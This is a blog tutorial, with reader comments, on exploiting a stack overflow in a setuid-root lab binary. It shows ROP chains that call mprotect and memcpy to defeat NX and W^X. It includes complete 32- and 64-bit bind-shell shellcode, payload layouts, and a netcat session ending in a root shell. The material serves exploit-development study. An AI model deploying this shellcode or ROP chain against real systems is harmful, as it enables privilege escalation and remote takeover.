Make Stack Executable again
Welcome back guys. So far we have learned how to bypass non-executable stack by returning to libc in our last article and also how we could brute-force ASLR. We didn't need to execute a shellcode and we could just return to gadgets and functions in libc by properly arranging the stack for it. But this way we were just limited to the gadgets and functions we could find in libc. If you haven't read previous articles then you must read them first or you might just feel lost here. Now what if we want to do some more complex stuff like having a bind/reverse tcp shell, or just anything else. Clearly trying to find all gadgets and chaining them will be tiresome and many time you might not even find proper gadgets. Still being able to execute a shellcode of our choice will be awesome. But for that we need shellcode in executable area in memory and currently we just control the stack which is non-executable. We need to figure out a way to somehow
But how ?
And here's my code for the exploit. Time to test it.
Since it's read function we don't need to worry about null bytes. Compile and setuid bit on it. ASLR should be turned off. We already found out last time the offset to ret is 120 bytes. Here are the memory mappings.
And finally here goes the exploit code. We will pipe the payload into binary since it takes input from prompt. Run it.
Next Read: Can We BruteForce ASLR ?
But how ?
The 'mmap()' and 'mprotect()' function
Let's first do strace of a program to trace system calls and signals.virtual@mecha:~$ strace ./buf aaa
execve("./buf", ["./buf", "aaa"], [/* 47 vars */]) = 0
strace: [ Process PID=1772 runs in 32 bit mode. ]
access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or directory)
brk(NULL) = 0x56558000
fcntl64(0, F_GETFD) = 0
fcntl64(1, F_GETFD) = 0
fcntl64(2, F_GETFD) = 0
access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or directory)
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xf7fd0000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=90654, ...}) = 0
mmap2(NULL, 90654, PROT_READ, MAP_PRIVATE, 3, 0) = 0xf7fb9000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib32/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\0\213\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1902536, ...}) = 0
mmap2(NULL, 1911324, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xf7de6000
mprotect(0xf7fb2000, 4096, PROT_NONE) = 0
mmap2(0xf7fb3000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1cc000) = 0xf7fb3000
mmap2(0xf7fb6000, 10780, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xf7fb6000
close(3) = 0
set_thread_area({entry_number:-1, base_addr:0xf7fd10c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:12)
mprotect(0xf7fb3000, 8192, PROT_READ) = 0
mprotect(0x56556000, 4096, PROT_READ) = 0
mprotect(0xf7ffc000, 4096, PROT_READ) = 0
munmap(0xf7fb9000, 90654) = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
brk(NULL) = 0x56558000
brk(0x56579000) = 0x56579000
brk(0x5657a000) = 0x5657a000
write(1, "Input was: aaa\n", 15Input was: aaa
) = 15
exit_group(0) = ?
+++ exited with 0 +++
What are mmap and mprotect doing here ? Man page of mmap says mmap, munmap - map or unmap files or devices into memory
SYNOPSIS
#include <sys/mman.h>
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
DESCRIPTION
mmap() creates a new mapping in the virtual address space of the calling process.
Read more in the man page yourself first. So mmap takes 6 arguments and creates a new maping in the virtual address space at specific address or if address is null the kernel chooses the address at nearby page boundary of some length with memory permissions (read | write | execute | none), flag descriptor and offset. Also one thing to note from man page about offset is 'offset must be a multiple of the page size as returned by sysconf(_SC_PAGE_SIZE).
' More on memory pages later. Next we have got is 'mprotect '. Man page of mprotect says mprotect - set protection on a region of memory
SYNOPSIS
#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);
DESCRIPTION
mprotect() changes the access protections for the calling process's
memory pages containing any part of the address range in the interval
[addr, addr+len-1]. addr must be aligned to a page boundary.
Read more in it's man page yourself. So basically mprotect can be used to change permissions of an area in memory. Thing to note here is address must be aligned to page boundary. What are these pages in memory after all ? According to it's wiki - It is the smallest unit of data for memory management in a virtual memory operating system. Similarly, a page frame is the smallest fixed-length contiguous block of physical memory into which memory pages are mapped by the operating system.
Ok. We have found out so far that we can use mmap and mprotect to basically change permissions of a region in memory. Our main problem in executing our shellcode was the stack was rendered non-executable due to NX bit. But if we can now call functions like mprotect or mmap first so that we may be able to make stack executable again and then execute our shellcode. Sounds great. We will use mprotect because it has only 3 arguments whereas mmap requires 6 arguments, so former will be easier. Let's understand working of mprotect first. The following code has been taken from it's man page. I have added few comments to understand it's working. Basically it just first finds the pagesize on your system, then it allocates a buffer aligned on a page boundary and then an area in buffer that is aligned to page boundary is made read only with mprotect function. Trying to write to that area gives segfault. Remember pageboundary will be multiple of pagesize. Compile and run. virtual@mecha:~$ gcc mprotect.c -m32
virtual@mecha:~$ ./a.out
Pagesize is: 0x1000
Start of region: 0x56559000
Got SIGSEGV at address: 0x5655b000
So my system's pagesize is 0x1000 that is 4096 bytes = 4kB. And memory at address buffer+2*pagesize has been successfully made read only since we got segfault on trying to write there. Let's load it in gdb and see memory. Make breakpoint at mprotect. gdb-peda$ r
Starting program: /home/virtual/a.out
Pagesize is: 0x1000
Start of region: 0x56559000
[----------------------------------registers-----------------------------------]
EAX: 0x1000
EBX: 0x56556fbc --> 0x1ec4
ECX: 0x2000 ('')
EDX: 0x5655b000 --> 0x0
ESI: 0x1
EDI: 0xf7fb5000 --> 0x1ced70
EBP: 0xffffd2c8 --> 0x0
ESP: 0xffffd200 --> 0x5655b000 --> 0x0
EIP: 0x56555817 (<main+357>: call 0x565554a0 <mprotect@plt>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x56555813 <main+353>: push 0x1
0x56555815 <main+355>: push eax
0x56555816 <main+356>: push edx
=> 0x56555817 <main+357>: call 0x565554a0 <mprotect@plt>
0x5655581c <main+362>: add esp,0x10
0x5655581f <main+365>: cmp eax,0xffffffff
0x56555822 <main+368>: jne 0x56555840 <main+398>
0x56555824 <main+370>: sub esp,0xc
Guessed arguments:
arg[0]: 0x5655b000 --> 0x0 <==Address
arg[1]: 0x1000 <==Size
arg[2]: 0x1 <==Permission(read)
[------------------------------------stack-------------------------------------]
0000| 0xffffd200 --> 0x5655b000 --> 0x0
0004| 0xffffd204 --> 0x1000
0008| 0xffffd208 --> 0x1
0012| 0xffffd20c --> 0x565556cc (<main+26>: add ebx,0x18f0)
0016| 0xffffd210 --> 0xf7fd51a0 (add DWORD PTR [eax],eax)
0020| 0xffffd214 --> 0xf7ffdc10 --> 0xf7fd5000 (jg 0xf7fd5047)
0024| 0xffffd218 --> 0xf7e7ee29 (add esi,0x1361d7)
0028| 0xffffd21c --> 0xffffd374 --> 0xffffd510 ("/home/virtual/a.out")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x56555817 in main ()
You can see since this is 32 bit, so mprotect takes 3 arguments from top of stack. First is address of memory we want to change protections of, then size and third is 0x1 which stands for read only. Multiple permissions can be passed by bitwise ORing. Example PROT_READ | PROT_WRITE | PROT_EXEC will be 0x7. It's just like we do chmod 777 for read,write and execute 0x5 for just read and exec. Now below's the memory mappings before mprotect call. gdb-peda$ vmmap
Start End Perm Name
0x56555000 0x56556000 r-xp /home/virtual/a.out
0x56556000 0x56557000 r--p /home/virtual/a.out
0x56557000 0x56558000 rw-p /home/virtual/a.out
0x56558000 0x5657a000 rw-p [heap]
0xf7de6000 0xf7fb2000 r-xp /lib32/libc-2.26.so
0xf7fb2000 0xf7fb3000 ---p /lib32/libc-2.26.so
0xf7fb3000 0xf7fb5000 r--p /lib32/libc-2.26.so
0xf7fb5000 0xf7fb6000 rw-p /lib32/libc-2.26.so
0xf7fb6000 0xf7fb9000 rw-p mapped
0xf7fd0000 0xf7fd2000 rw-p mapped
0xf7fd2000 0xf7fd5000 r--p [vvar]
0xf7fd5000 0xf7fd7000 r-xp [vdso]
0xf7fd7000 0xf7ffc000 r-xp /lib32/ld-2.26.so
0xf7ffc000 0xf7ffd000 r--p /lib32/ld-2.26.so
0xf7ffd000 0xf7ffe000 rw-p /lib32/ld-2.26.so
0xfffdd000 0xffffe000 rw-p [stack]
And here's after mprotect. gdb-peda$ vmmap
Start End Perm Name
0x56555000 0x56556000 r-xp /home/virtual/a.out
0x56556000 0x56557000 r--p /home/virtual/a.out
0x56557000 0x56558000 rw-p /home/virtual/a.out
0x56558000 0x5655b000 rw-p [heap]
0x5655b000 0x5655c000 r--p [heap] <==has been made read only
0x5655c000 0x5657a000 rw-p [heap]
0xf7de6000 0xf7fb2000 r-xp /lib32/libc-2.26.so
0xf7fb2000 0xf7fb3000 ---p /lib32/libc-2.26.so
0xf7fb3000 0xf7fb5000 r--p /lib32/libc-2.26.so
0xf7fb5000 0xf7fb6000 rw-p /lib32/libc-2.26.so
0xf7fb6000 0xf7fb9000 rw-p mapped
0xf7fd0000 0xf7fd2000 rw-p mapped
0xf7fd2000 0xf7fd5000 r--p [vvar]
0xf7fd5000 0xf7fd7000 r-xp [vdso]
0xf7fd7000 0xf7ffc000 r-xp /lib32/ld-2.26.so
0xf7ffc000 0xf7ffd000 r--p /lib32/ld-2.26.so
0xf7ffd000 0xf7ffe000 rw-p /lib32/ld-2.26.so
0xfffdd000 0xffffe000 rw-p [stack]
Notice the memory region is multiple of pagesize and hence aligned to page boundary. Great. We learned how mprotect works and now we can use it to make our stack executable so that we can execute shellcode. My advice here is to stop reading the article now and try to make stack executable and execute shellcode yourself by changing control flow. If you face problems then refer the article.Making the stack executable
Tried already ? No seriously try it first. It's fun. Ok , let's see how we can do it. Here's our vulnerable program. Well the same simple code. Compile it in 32 bit mode without stack canary and ASLR should be turned off.virtual@mecha:~$ gcc -m32 buf.c -o buf -fno-stack-protector
virtual@mecha:~$ sudo chown root buf
virtual@mecha:~$ sudo chmod +s buf
virtual@mecha:~$ gdb buf -q
Reading symbols from buf...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL
NX bit is enabled. My goal here is to execute a shellcode which starts a bind tcp listener on port 31337 which will give me a remote shell. First thing is to find out offset to return instruction and also ecx since this is modern 32 bit linux, my gcc compiler sets esp = [ecx-0x4]. We have found out in previous part that offset to ecx is 100 bytes. So that part is pretty much the same. Only thing change is we are filling up stack with our shellcode first. You can fill shellcode in the buffer or environment variable or after the rop chain anywhere you like. Just find it's address so that you can jump to it at last. Here's a 96 bytes shellcode from here. It execute setuid(0), binds to port 31337 and executes /bin/sh. shellcode = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xf7"
shellcode+= "\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b"
shellcode+= "\xcd\x80\x89\xc7\x52\x66\x68\x7a\x69\x43\x66"
shellcode+= "\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0"
shellcode+= "\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50"
shellcode+= "\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89"
shellcode+= "\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51\x68"
shellcode+= "n/sh\x68//bi\x89\xe3\x51\x53\x89\xe1\xb0\x0b"
shellcode+= "\xcd\x80"
First 108 bytes of payload is payload = shellcode + ecx + pad
Next will be return address. We want to return to mprotect with proper parameters. First is address of region. My stack starts at 0xfffdd000
. Since the addresses must be aligned to page boundary we have to choose addresses like 0xfffdd000, 0xfffde000, 0xfffdf000 , 0xfffe0000,etc.
Just keep adding pagesize i.e. 0x1000. But problem here is they have last byte as a nullbyte. And our strcpy function won't take that. One simple workaround I found here was that though the arguments to mprotect function are passed from stack but if you step into mprotect function you will see this [----------------------------------registers-----------------------------------]
EAX: 0x1000
EBX: 0x56556fbc --> 0x1ec4
ECX: 0x1000
EDX: 0x1
ESI: 0x1
EDI: 0xf7fb5000 --> 0x1ced70
EBP: 0xffffd2c8 --> 0x0
ESP: 0xffffd1f8 --> 0x56556fbc --> 0x1ec4
EIP: 0xf7ed6769 (<mprotect+9>: mov ebx,DWORD PTR [esp+0x8])
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7ed6760 <mprotect>: push ebx
0xf7ed6761 <mprotect+1>: mov edx,DWORD PTR [esp+0x10]
0xf7ed6765 <mprotect+5>: mov ecx,DWORD PTR [esp+0xc]
=> 0xf7ed6769 <mprotect+9>: mov ebx,DWORD PTR [esp+0x8]
0xf7ed676d <mprotect+13>: mov eax,0x7d
0xf7ed6772 <mprotect+18>: call DWORD PTR gs:0x10
0xf7ed6779 <mprotect+25>: pop ebx
0xf7ed677a <mprotect+26>: cmp eax,0xfffff001
[------------------------------------stack-------------------------------------]
0000| 0xffffd1f8 --> 0x56556fbc --> 0x1ec4
0004| 0xffffd1fc --> 0x5655581c (<main+362>: add esp,0x10)
0008| 0xffffd200 --> 0x5655b000 --> 0x0
0012| 0xffffd204 --> 0x1000
0016| 0xffffd208 --> 0x1
0020| 0xffffd20c --> 0x565556cc (<main+26>: add ebx,0x18f0)
0024| 0xffffd210 --> 0xf7fd51a0 (add DWORD PTR [eax],eax)
0028| 0xffffd214 --> 0xf7ffdc10 --> 0xf7fd5000 (jg 0xf7fd5047)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0xf7ed6769 in mprotect () from /lib32/libc.so.6
All the 3 arguments from top of stack are actually moved to ebx, ecx and edx registers respectively. So what I am gonna do is let's say I want 0xfffdd000
as my address. I will load it on stack from my input as 0xfffdd001
, so we don't have null byte now. Then pop it to ebx register and find a rop gadget to dec ebx;ret
so it becomes 0xfffdd000
. Same we can do with argument for permissions, we want that to be 0x00000007
(read|write|execute). If we pop 0xffffffff
to edx and then inc edx;ret
, now edx will become 0x00000000
and incrementing it 8 times will give us 0x00000007
. And about the argument for size, actually we can keep any value for it. So I will just keep ecx=0x01010101
to avoid null bytes. And then we will return to mprotect+13. Let's find the unknowns in libc. virtual@mecha:~$ readelf -a /lib/x86_64-linux-gnu/libc.so.6 | grep mprotect
1182: 000000000010ed40 33 FUNC WEAK DEFAULT 13 mprotect@@GLIBC_2.2.5
1879: 000000000010ed40 33 FUNC GLOBAL DEFAULT 13 __mprotect@@GLIBC_PRIVATE
And I used ROPgadget and ropper to find the following gadgets in libc. They can be used to find and make ROP chains. 0x00101b41 : pop edx ; pop ecx ; pop ebx ; ret
0x0018a40e : dec ebx ; ret
0x0002b8e1 : inc edx ; ret
Here's what the payload looks like so far. payload = shellcode + ecx + pad
payload+= pop_edx_ecx_ebx + permission + size + stack_addr
payload+= dec_ebx + inc_edx*8
payload+= mprotect + pad + ret_to_stack #padding here because of some leftovers by mprotect
Set breakpoints and run it. Check if you hit the addresses right. The ret_to_stack will be the address of shellcode on stack. Keep stepping through each instruction to see what's actually happening. If you still didn't get it, here's what stack layout should look like.And here's my code for the exploit. Time to test it.
virtual@mecha:~$ ./buf `python2 mprotect.py`
Input was: ����1�1۰ ̀1����fSCSCS��K̀��RfhziCfS��� PQW���f̀�f� ̀PPW��C�f̀�ىð?ÌA��Qhn/shh//bi��QS���
\���BBBBA{������ ��� ��� ��� ��� ��� ��� ��� ��� ��� ��mg��BBBB����
Here's the memory mapping before executing mprotect. gdb-peda$ vmmap
Start End Perm Name
0x56555000 0x56556000 r-xp /home/virtual/buf
0x56556000 0x56557000 r--p /home/virtual/buf
0x56557000 0x56558000 rw-p /home/virtual/buf
0x56558000 0x5657a000 rw-p [heap]
0xf7de6000 0xf7fb2000 r-xp /lib32/libc-2.26.so
0xf7fb2000 0xf7fb3000 ---p /lib32/libc-2.26.so
0xf7fb3000 0xf7fb5000 r--p /lib32/libc-2.26.so
0xf7fb5000 0xf7fb6000 rw-p /lib32/libc-2.26.so
0xf7fb6000 0xf7fb9000 rw-p mapped
0xf7fd0000 0xf7fd2000 rw-p mapped
0xf7fd2000 0xf7fd5000 r--p [vvar]
0xf7fd5000 0xf7fd7000 r-xp [vdso]
0xf7fd7000 0xf7ffc000 r-xp /lib32/ld-2.26.so
0xf7ffc000 0xf7ffd000 r--p /lib32/ld-2.26.so
0xf7ffd000 0xf7ffe000 rw-p /lib32/ld-2.26.so
0xfffdd000 0xffffe000 rw-p [stack]
And here's after mprotect. gdb-peda$ vmmap
Start End Perm Name
0x56555000 0x56556000 r-xp /home/virtual/buf
0x56556000 0x56557000 r--p /home/virtual/buf
0x56557000 0x56558000 rw-p /home/virtual/buf
0x56558000 0x5657a000 rw-p [heap]
0xf7de6000 0xf7fb2000 r-xp /lib32/libc-2.26.so
0xf7fb2000 0xf7fb3000 ---p /lib32/libc-2.26.so
0xf7fb3000 0xf7fb5000 r--p /lib32/libc-2.26.so
0xf7fb5000 0xf7fb6000 rw-p /lib32/libc-2.26.so
0xf7fb6000 0xf7fb9000 rw-p mapped
0xf7fd0000 0xf7fd2000 rw-p mapped
0xf7fd2000 0xf7fd5000 r--p [vvar]
0xf7fd5000 0xf7fd7000 r-xp [vdso]
0xf7fd7000 0xf7ffc000 r-xp /lib32/ld-2.26.so
0xf7ffc000 0xf7ffd000 r--p /lib32/ld-2.26.so
0xf7ffd000 0xf7ffe000 rw-p /lib32/ld-2.26.so
0xfffdd000 0xffffe000 rwxp [stack]
Yeah, stack has now rwx permissions. Continue, you won't see any output. Let's check the network ports on machine. virtual@mecha:~$ netstat -lnp | grep 31337
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 0.0.0.0:31337 0.0.0.0:* LISTEN -
Great some process running as root is listening on port 31337. Connect with netcat or whatever you like to port 31337. This can be accessed from any device in network with ip of target server. user@attacker:~$ nc 192.168.43.81 31337 -v
Connection to 192.168.43.81 31337 port [tcp/*] succeeded!
whoami
root
python2 -c "import pty;pty.spawn('/bin/bash')"
To run a command as administrator (user "root"), use "sudo <command> ".
See "man sudo_root" for details.
root@mecha:/home/virtual# id
id
uid=0(root) gid=1000(virtual) groups=1000(virtual),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),118(lpadmin),128(sambashare)
root@mecha:/home/virtual#
And boom. We have a root shell on server on tcp port 31337. We successfully redirected the control flow of program and started a listener on a port. This can be useful too in case of programs you can't get direct shell from. Now there's a small problem for some systems here. Some systems use Write XOR Execute policy whereby every page in a process's or kernel's address space may be either writable or executable, but not both. Read more on it here. But we wanted stack to be execuable and it must be readable and writable also to execute instructions. So we can't keep the stack permissions rwx now. Can you think of some workaround ? May be we can copy our shellcode to different area in memory other than stack and make that executable. That will be fine. Let's try that on 64 bit this time. Make shellcode executable on 64 bit
This time we want our shellcode to be in different area of memory which is first writable and then we will make it executable after writing shellcode and stack will be writable. But we just control stack. We need to first call a function which will copy the shellcode from stack to different area in memory. I will use 'memcpy' function.memcpy - copy memory area
SYNOPSIS
#include <string.h>
void *memcpy(void *dest, const void *src, size_t n);
DESCRIPTION
The memcpy() function copies n bytes from memory area src to memory area dest.
So it takes 3 arguments - destination, source and size/length to copy. Remember this is 64 bit arguments to the functions need to be passed from registers. The first is placed in rdi, the second in rsi, the third in rdx, and then rcx, r8 and r9. Only the 7th argument and onwards are passed on the stack. Source for memcpy will ofcourse be address of shellcode that is the start of buffer goes into rsi. Destination we will choose from memory mappings goes into rdi and size will be length of shellcode goes into rdx. Here's our vulnerable program. Since it's read function we don't need to worry about null bytes. Compile and setuid bit on it. ASLR should be turned off. We already found out last time the offset to ret is 120 bytes. Here are the memory mappings.
gdb-peda$ vmmap
Start End Perm Name
0x0000555555554000 0x0000555555555000 r-xp /home/virtual/suid64
0x0000555555754000 0x0000555555755000 r--p /home/virtual/suid64
0x0000555555755000 0x0000555555756000 rw-p /home/virtual/suid64
0x0000555555756000 0x0000555555777000 rw-p [heap]
0x00007ffff79f5000 0x00007ffff7bcb000 r-xp /lib/x86_64-linux-gnu/libc-2.26.so
0x00007ffff7bcb000 0x00007ffff7dcb000 ---p /lib/x86_64-linux-gnu/libc-2.26.so
0x00007ffff7dcb000 0x00007ffff7dcf000 r--p /lib/x86_64-linux-gnu/libc-2.26.so
0x00007ffff7dcf000 0x00007ffff7dd1000 rw-p /lib/x86_64-linux-gnu/libc-2.26.so
0x00007ffff7dd1000 0x00007ffff7dd5000 rw-p mapped
0x00007ffff7dd5000 0x00007ffff7dfc000 r-xp /lib/x86_64-linux-gnu/ld-2.26.so
0x00007ffff7fde000 0x00007ffff7fe0000 rw-p mapped
0x00007ffff7ff7000 0x00007ffff7ffa000 r--p [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p /lib/x86_64-linux-gnu/ld-2.26.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /lib/x86_64-linux-gnu/ld-2.26.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
Choose any writable region which won't be used by the process so that it won't be corrupted or crashed. I am choosing 0x00007ffff7dd1000 0x00007ffff7dd5000 rw-p mapped.
You can also chain gadgets so as to (m)allocate a whole new area in memory and then change it's permission. Try to do that yourself. Found the gadgets in libc. 0x0123189: pop rdx; pop rsi; ret;
0x0020b8b: pop rdi; ret;
virtual@mecha:~$ readelf -a /lib/x86_64-linux-gnu/libc.so.6 | grep mprotect
1182: 000000000010ed40 33 FUNC WEAK DEFAULT 13 mprotect@@GLIBC_2.2.5
1879: 000000000010ed40 33 FUNC GLOBAL DEFAULT 13 __mprotect@@GLIBC_PRIVATE
virtual@mecha:~$ readelf -a /lib/x86_64-linux-gnu/libc.so.6 | grep memcpy
342: 00000000000b4290 9 FUNC WEAK DEFAULT 13 wmemcpy@@GLIBC_2.2.5
1035: 0000000000125e10 25 FUNC GLOBAL DEFAULT 13 __wmemcpy_chk@@GLIBC_2.4
1155: 00000000000953c0 194 IFUNC GLOBAL DEFAULT 13 memcpy@@GLIBC_2.14
1157: 00000000000b2290 40 FUNC GLOBAL DEFAULT 13 memcpy@GLIBC_2.2.5
1673: 00000000001243c0 194 IFUNC GLOBAL DEFAULT 13 __memcpy_chk@@GLIBC_2.3.4
virtual@mecha:~$ readelf -a /lib/x86_64-linux-gnu/libc.so.6 | grep setuid
22: 00000000000d9b50 144 FUNC WEAK DEFAULT 13 setuid@@GLIBC_2.2.5
Here's the shellcode for 64 bit which starts a listener on port 5600 and executes /bin/sh from here. shellcode = "\xc6\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66"
shellcode+= "\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x10"
shellcode+= "\x5a\x6a\x31\x58\x0f\x05\x50\x5e\x6a\x32\x58"
shellcode+= "\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03"
shellcode+= "\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\x48\x31"
shellcode+= "\xc0\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73"
shellcode+= "\x68\x53\x54\x5f\x6a\x3b\x58\x0f\x05"
We will also first return to setuid funtion to execute setuid(0) and gain root as modern shells drop privileges. Here's the payload so far. payload = shellcode + pad
payload+= pop_rdi + dest #pop destination to rdi
payload+= pop_rdx_rsi + scode_size + source #pop length and source address to rdx and rsi
payload+= memcpy #return to memcpy funtion
payload+= pop_rdi + dest #pop destination to rdi
payload+= pop_rdx_rsi + perm + pagesize #pop permission(0x5-read|execute) and size to rdx and rsi
payload+= mprotect #mprotect function
payload+= pop_rdi + null + setuid #pop 0x0 to rdi for setuid(0);
payload+= dest #finally return to executable shellcode
And here's the stack layout diagram.And finally here goes the exploit code. We will pipe the payload into binary since it takes input from prompt. Run it.
virtual@mecha:~$ python2 restack64.py | ./suid64
Enter input: Input was : ��������������������������H1�H1��j)X��j _H�j f�D$ �T^Rj Zj1XP^j2Xj+XH�j ^�ΰ!u�H1��H�/bin//shST_j;XBBBBBBBB�[���
You can see the our destination memory is now executable in process maps and has shellcode in it. Also no two regions are write and executable both. gdb-peda$ vmmap
Start End Perm Name
0x0000555555554000 0x0000555555555000 r-xp /home/virtual/suid64
0x0000555555754000 0x0000555555755000 r--p /home/virtual/suid64
0x0000555555755000 0x0000555555756000 rw-p /home/virtual/suid64
0x0000555555756000 0x0000555555777000 rw-p [heap]
0x00007ffff79f5000 0x00007ffff7bcb000 r-xp /lib/x86_64-linux-gnu/libc-2.26.so
0x00007ffff7bcb000 0x00007ffff7dcb000 ---p /lib/x86_64-linux-gnu/libc-2.26.so
0x00007ffff7dcb000 0x00007ffff7dcf000 r--p /lib/x86_64-linux-gnu/libc-2.26.so
0x00007ffff7dcf000 0x00007ffff7dd1000 rw-p /lib/x86_64-linux-gnu/libc-2.26.so
0x00007ffff7dd1000 0x00007ffff7dd2000 r-xp mapped
0x00007ffff7dd2000 0x00007ffff7dd5000 rw-p mapped
0x00007ffff7dd5000 0x00007ffff7dfc000 r-xp /lib/x86_64-linux-gnu/ld-2.26.so
0x00007ffff7fde000 0x00007ffff7fe0000 rw-p mapped
0x00007ffff7ff7000 0x00007ffff7ffa000 r--p [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p /lib/x86_64-linux-gnu/ld-2.26.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /lib/x86_64-linux-gnu/ld-2.26.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
gdb-peda$ x/16x 0x00007ffff7dd1000
0x7ffff7dd1000 <initial+704>: 0x9090909090909090 0x9090909090909090
0x7ffff7dd1010 <initial+720>: 0x9090909090909090 0xf63148c031489090
0x7ffff7dd1020 <initial+736>: 0x026ac6ff58296a99 0x66026a9748050f5f
0x7ffff7dd1030 <initial+752>: 0x5e54e015022444c7 0x0f58316a5a106a52
0x7ffff7dd1040 <initial+768>: 0x050f58326a5e5005 0x6a9748050f582b6a
0x7ffff7dd1050 <initial+784>: 0x050f21b0ceff5e03 0xbb4899c03148f875
0x7ffff7dd1060 <initial+800>: 0x68732f2f6e69622f 0x050f583b6a5f5453
0x7ffff7dd1070 <initial+816>: 0x0000000000000000 0x0000000000000000
Continue and check the network ports. virtual@mecha:~$ netstat -lnp | grep 5600
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 0.0.0.0:5600 0.0.0.0:* LISTEN -
One service is running on port 5600. Let's connect to it. virtual@mecha:~$ nc 192.168.43.81 5600 -v
Connection to 192.168.43.81 5600 port [tcp/*] succeeded!
id
uid=0(root) gid=1000(virtual) groups=1000(virtual),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),118(lpadmin),128(sambashare)
python2 -c "import pty; pty.spawn('/bin/bash')"
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@mecha:/home/virtual# whoami
whoami
root
root@mecha:/home/virtual#
Bingo we got a root shell and successfully bypassed W^X policy.Sum up
So this time we made stack executable again so that we could execute any custom shellcode on 32 bit and 64 bit systems. Also bypassed write XOR execute policy.Next up
Next we are gonna look on more different types of exploits and also more on making shellcodes coming soon. So stay tuned.Next Read: Can We BruteForce ASLR ?
This comment has been removed by the author.
ReplyDeleteWelcome :D
DeleteHello Sir,
ReplyDeleteI was unsuccessful in getting the root shell in 64 bit machine. I have a couple of questions as mentioned below:
1. How do we get the source address value =p(0x7fffffffe0b0+i) in restack64.py file for 64 bit implementation. Is this the value fixed or does this value change everytime we execute due to PIE flag?
2. I have attached the register values of RDX and RSI and the corresponding code to get these values. Is this the right way to find the values of the gadgets.
Mprotect$ objdump -d /lib/x86_64-linux-gnu/libc.so.6 | grep -B5 "pop %rsi"
--
1306c8: be 81 00 00 00 mov $0x81,%esi
1306cd: ba 01 00 00 00 mov $0x1,%edx
1306d2: b8 ca 00 00 00 mov $0xca,%eax
1306d7: 0f 05 syscall
1306d9: 5a pop %rdx
1306da: 5e pop %rsi
I always fail due to improper value of gadgets in restack64.py exploit as i am using pop_rdx_rsi=p(libc+0x1306d9)
And pop rdi value using the following command:
gdb-peda$ asmsearch "pop rdi ; ret" libc
Searching for ASM code: 'pop rdi ; ret' in: libc ranges
0x00007f3e68a1c55f : (5fc3) pop rdi; ret
0x00007f3e68a1d44e : (5fc3) pop rdi; ret
Requesting you to kindly help me out in this issue ASAP.
Your timely response will be very much appreciated.
Regards,
Varsha
